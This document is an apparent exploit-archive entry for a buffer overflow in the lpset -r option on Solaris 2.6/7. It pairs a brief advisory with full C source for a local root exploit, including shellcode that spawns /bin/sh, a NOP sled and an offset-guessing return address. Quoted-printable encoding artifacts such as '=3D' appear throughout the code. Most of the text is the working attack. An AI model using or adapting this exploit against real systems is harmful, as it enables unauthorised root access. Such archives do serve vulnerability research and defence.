Solaris 2.6/7.0 lpset -r Buffer Overflow Vulnerability (1)

source: http://www.securityfocus.com/bid/1138/info A vulnerability exists in the handling of the -r option to the lpset program, as included in Solaris 7 from Sun Microsystems. The -r option is undocumented. As such, its use in unknown. However, when supplied a well crafted buffer containing executable code, it is possible to execute arbitrary commands as root. /*=20 * * solaris 2.7 lpset local exploit, i386. * discovered by: duke * not the same as on bt. * if exploit dosen=B4t work try offset from 300-450 * * greets: duke, #!ADM, #!security.is, #hax * * DiGiT - teddi@linux.is * */ #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> char shellcode[] =3D "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4" "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf" "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff" "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53" "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff"; long get_esp() { __asm__("movl %esp,%eax"); } int main (int argc, char *argv[]) { long offset=3D410; int nop=3D64; int gab=3D40; long addr; char buffer[210]; int i, a, b; if (argc > 1) offset =3D strtol(argv[1], NULL, 0); if (argc > 2) gab =3D strtol(argv[2], NULL, 0); if (argc > 3) nop =3D strtol(argv[2], NULL, 0); for (a =3D 0; a <gab; a++) buffer[a] =3D 'A'; addr =3D get_esp() + offset; buffer[a++] =3D addr & 0x000000ff; buffer[a++] =3D (addr & 0x0000ff00) >> 8; buffer[a++] =3D (addr & 0x00ff0000) >> 16; buffer[a++] =3D (addr & 0xff000000) >> 24; for ( ; a < nop; a++) buffer[a] =3D 0x90; for (b =3D 0; b < strlen(shellcode); b++, a++) buffer[a] =3D shellcode[b]; buffer[strlen(buffer)] =3D '\0'; printf("addr =3D 0x%x\n", addr); execl("/usr/bin/lpset", "lpset", "-n", "fns", "-r", buffer,"digit", NULL); }